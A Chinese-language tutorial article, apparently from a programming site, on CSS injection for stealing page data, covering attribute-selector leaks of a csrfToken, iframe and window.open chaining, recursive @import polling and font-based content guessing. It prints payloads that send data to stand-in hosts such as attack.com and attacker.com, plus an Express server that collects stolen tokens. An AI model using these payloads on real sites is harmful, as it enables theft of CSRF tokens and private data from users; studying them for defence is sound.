您现在的位置是:网站首页> 编程资料编程资料
CSS injection 知识总结CSS Transition通过改变Height实现展开收起元素从QQtabBar看css命名规范BEM的详细介绍css实现两栏布局,左侧固定宽,右侧自适应的多种方法CSS 实现Chrome标签栏的技巧CSS实现两列布局的N种方法CSS实现隐藏搜索框功能(动画正反向序列)CSS3中Animation实现简单的手指点击动画的示例详解CSS中的特指度和层叠问题详解overflow:hidden的作用(溢出隐藏、清除浮动、解决外边距塌陷)关于CSS浮动与取消浮动的问题
2021-09-03
1054人已围观
简介 现代浏览器都已不允许在CSS中执行JavaScript了,以前的CSS注入可以利用JavaScript协议在 url() 、 expression() 中执行Javascript代码从而实现XSS。本文主要给大家介绍CSS injection的相关知识,感兴趣的朋友一起看看吧
现代浏览器都已不允许在CSS中执行JavaScript了,以前的CSS注入可以利用JavaScript协议在 url() 、 expression() 中执行Javascript代码从而实现XSS。但是目前CSS注入在窃取数据方面仍然是非常有用的,下面分别来分析一下。
CSS 注入 窃取标签属性数据
CSS中可以使用属性选择器,根据不同的属性选择标签。比如下面CSS选择含有a属性且其值为abc的p标签。
hello world
属性选择器还可以匹配值的一些特性,比如以XXX开头、以XXX结尾等。

利用上面的性质我们可以用来窃取页面标签属性中的数据。比如下面当csrfToken以某个字母开头时,就可以通过 url() 通知攻击者,从而窃取csrfToken的第一位的值。
第一位是Z,接着窃取第二位
解决hidden
当然还有个问题, 当标签 type=hidden 时浏览器是不允许我们设置background的,这样就无法触发 url() 请求服务器。
解决方法之一是利用 ~ CSS的兄弟选择器,选择为后续所有兄弟节点设置background。
input[value^="Z"] ~*{ background: url(http://attack.com/Z); }批量实现
当然,如果位数比较短且可能性比较少我们可以将其所有都列出来,但是通常都太多了,所以我们需要利用技巧批量得到。
假设目标存在css注入的网站为如下, 目标是窃取input标签中的csrfToken值。
CSS injection >
有iframe
当存在CSS注入的网站响应头未被 X-Frame-Options 保护时, 我们可以创建一个恶意的页面,利用js创建iframe包含该漏洞网站,利用css注入获得一位csrfToken值后通过 url() 提交给服务器,服务器指示前端js继续创建iframe窃取第二位值,继续上面的操作,直到全部读取完。当然这要求每次请求漏洞网站内容都不会变。
这里存在一个问题,服务器如何指示前端js构造css,就像我们上面举得例子窃取到第一位为Z, 那么第二位的payload应该是Z开头的。
下面的payload 来自这里 https://medium.com/bugbountywriteup/exfiltration-via-css-injection-4e999f63097d
它的思路是前端js使用setTimeout定时请求服务器,服务器将css注入得到的token返回。
服务器代码是我配合它的payload写得。
var express = require('express'); var app = express(); var path = require('path'); var token = ""; app.get('/receive/:token', function(req, res) { token = req.params.token; console.log(token) res.send('ok'); }); app.get('/return', function(req, res){ res.send(token); }); app.get('/client.html', function(req, res){ res.sendFile(path.join(__dirname, 'client.html')); }) var server = app.listen(8083, function() { var host = server.address().address var port = server.address().port console.log("Example app listening at http://%s:%s", host, port) })还有 师傅 通过服务器将token写入到cookie中, 定时查询cookie是否改变来实现的。
还发现有师傅用websocket实现更优雅一些。 https://gist.github.com/cgvwzq/f7c55222fbde44fc686b17f745d0e1aa
无 iframe
https://github.com/dxa4481/cssInjection 这里介绍了一种无iframe注入的方法。
原理也很简单,既然不能用iframe引入漏洞页面,那么我们可以通过 window.open 不断开启一个新的窗口,也就可以完成上述类似的效果。当然这种方法得劫持用户的点击行为,否则浏览器会禁止开启新窗口。
而且这篇文章还提出了无后台服务器的方案,利用service workers 拦截客户端请求将获取到的token值同时存在本地localstorage中。
@import
利用 @import 在chrome中的特性,https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b 这篇文章提出的这种方法。这种方法有种好处就是 不会刷新页面就可以拿到全部token 而且不需要iframe,但坏处就是只能用在chrome中,而且根据它的特性必须在样式标签头部有注入才行。
除了常见的 标签引入外部样式,css还可以通过 @import 。
@import url(http://style.com/css.css);
但是 @import 必须在样式表头部最先声明,并且分号是必须的。 @import 引入的样式表会直接替换对应的内联样式。
chrome在实现上述效果时,在每次 @import 外部样式表 返回后 都重新计算了一遍页面的其他的样式表,我们可以利用这个特性嵌套 @import 使用一个请求便获取到整个token
这是他文章中的一个图,很形象。

这图假定要窃取的数据长度为3,第一次注入的css内容为 @import url(http://attacker.com/staging); ,它返回了
@import url(http://attacker.com/polling?len=0);
@import url(http://attacker.com/polling?len=1);
@import url(http://attacker.com/polling?len=2);
这时页面又要获取 @import url(http://attacker.com/polling?len=0); 样式表,而它返回的是窃取token的payload。
当将已窃取数据发送到服务器后, @import url(http://attacker.com/polling?len=1); 才会响应。响应的是窃取的第二位数据的payload....
而且那篇文章还开源了一个工具利用这个漏洞,用起来非常简单。
https://github.com/d0nutptr/sic
窃取标签content数据
窃取标签content数据相对来说就麻烦很多,去年xctf final就有一道题。
利用 unicode-range 猜测
根据https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html这位师傅的思路,可以通过指定 @font-face 的字体描述unicode-range,当存在某个字符时就通知服务器。
AB
当然这只能知道含有那些字符,而且当字符一多就没有意义了。不过这也是个不错的思路,在某些特定情况下可能有用。
利用连字(Ligature)
去年xctf师傅们的 题解 用的就是这个方法。
连字简而言之就是几个字符的合体字,更多自行百度。在这里我们可以自己创建一个字体,其中所有字符宽度设为0,将 flag 这个连字的宽度设置非常大,此时指定标签content中如果出现了flag字符串就会因为宽度的原因出现滚动条,检测出现滚动条时用 url() 请求服务器。
这样我们就可以不断向后猜测了,详细的创建字体、payload 这里 已经提供了。
总结
到此这篇关于CSS injection 知识总结的文章就介绍到这了,更多相关CSS injection内容请搜索以前的文章或继续浏览下面的相关文章,希望大家以后多多支持!
相关内容
- css锚点定位被顶部固定导航栏遮住的解决方案CSS 带搜索导航栏的示例代码html+css+js实现导航栏滚动渐变效果不可思议的CSS导航栏下划线跟随效果html+css 实现简易导航栏功能CSS导航条菜单之带小三角形的实现代码css实现导航切换的实例代码CSS设置列表样式和创建导航菜单实现代码CSS中的导航栏和下拉菜单的实现纯CSS + 媒体查询实现网页导航效果CSS3 二级导航菜单的制作的示例
- 纯CSS实现网页内部锚点跳转时上下偏移的示例代码纯css实现的tab切换效果(使用锚点作为标记)CSS解决链接锚点定位偏移的代码css锚点定位被顶部固定导航栏遮住的解决方案
- CSS书写格式、一个手机页面的基本结构详解引用css样式的书写格式详解网页设计制作教程:CSS书写格式
- css中引入指定字体@font-face兼容各浏览器的问题深入理解CSS @font-face性能优化CSS3 @font-face属性使用指南CSS3用@font-face实现自定义英文字体什么是@font-face及font-face如何在css中使用CSS @font-face属性实现在网页中嵌入任意字体css常用样式font设置字体的多种变换(实例详解)
- CSS3 中filter(滤镜)属性使用详解详解CSS3 filter:drop-shadow滤镜与box-shadow区别与应用通过css3的filter滤镜改变png图片的颜色的示例代码jquery和CSS3图片排序过滤搜索插件Filterizr详解CSS3中强大的filter(滤镜)属性CSS3 filter(滤镜)实现网页灰色或者黑色模式的示例代码
- 一段css让全站变灰的代码总结利用CSS将网站网页变灰色代码示例用css3实现当鼠标移进去时当前亮其他变灰效果css页面变灰度兼容ie、firefox、chrome、opera、safari实现样式网页变灰配合全国哀悼日的css代码 20100421css使图片变灰的实现方法
- CSS中如何解决外边距塌陷问题解决CCS中的margin:top塌陷问题css高度塌陷问题的解决方案详解CSS盒子塌陷的5种解决方法浅谈CSS 高度塌陷问题关于清除浮动塌陷的几种方法总结
- CSS 继承 inherit属性的方法css中filter属性和backdrop-filter的应用与区别详解详解HTML5中CSS外观属性CSS中简写属性要注意TRouBLe的顺序问题(避免踩坑)CSS字体、文本、列表属性详细介绍奇妙的 CSS 属性 MASK详解利用CSS中的 outline-offset 属性实现加号css一些不常见但很有用的属性操作大全
- 借助CSS mask遮罩显著优化PNG图片的尺寸(推荐)借助CSS mask遮罩显著优化PNG图片的尺寸(推荐)详解css3 mask遮罩实现一些特效CSS3 mask 遮罩的具体使用方法
- flex弹性盒布局最后一行左对齐的实现思路解决flex布局space-between最后一行左对齐的方法css3 flex布局 justify-content:space-between 最后一行左对齐让CSS flex布局最后一行列表左对齐的N种方法(小结)
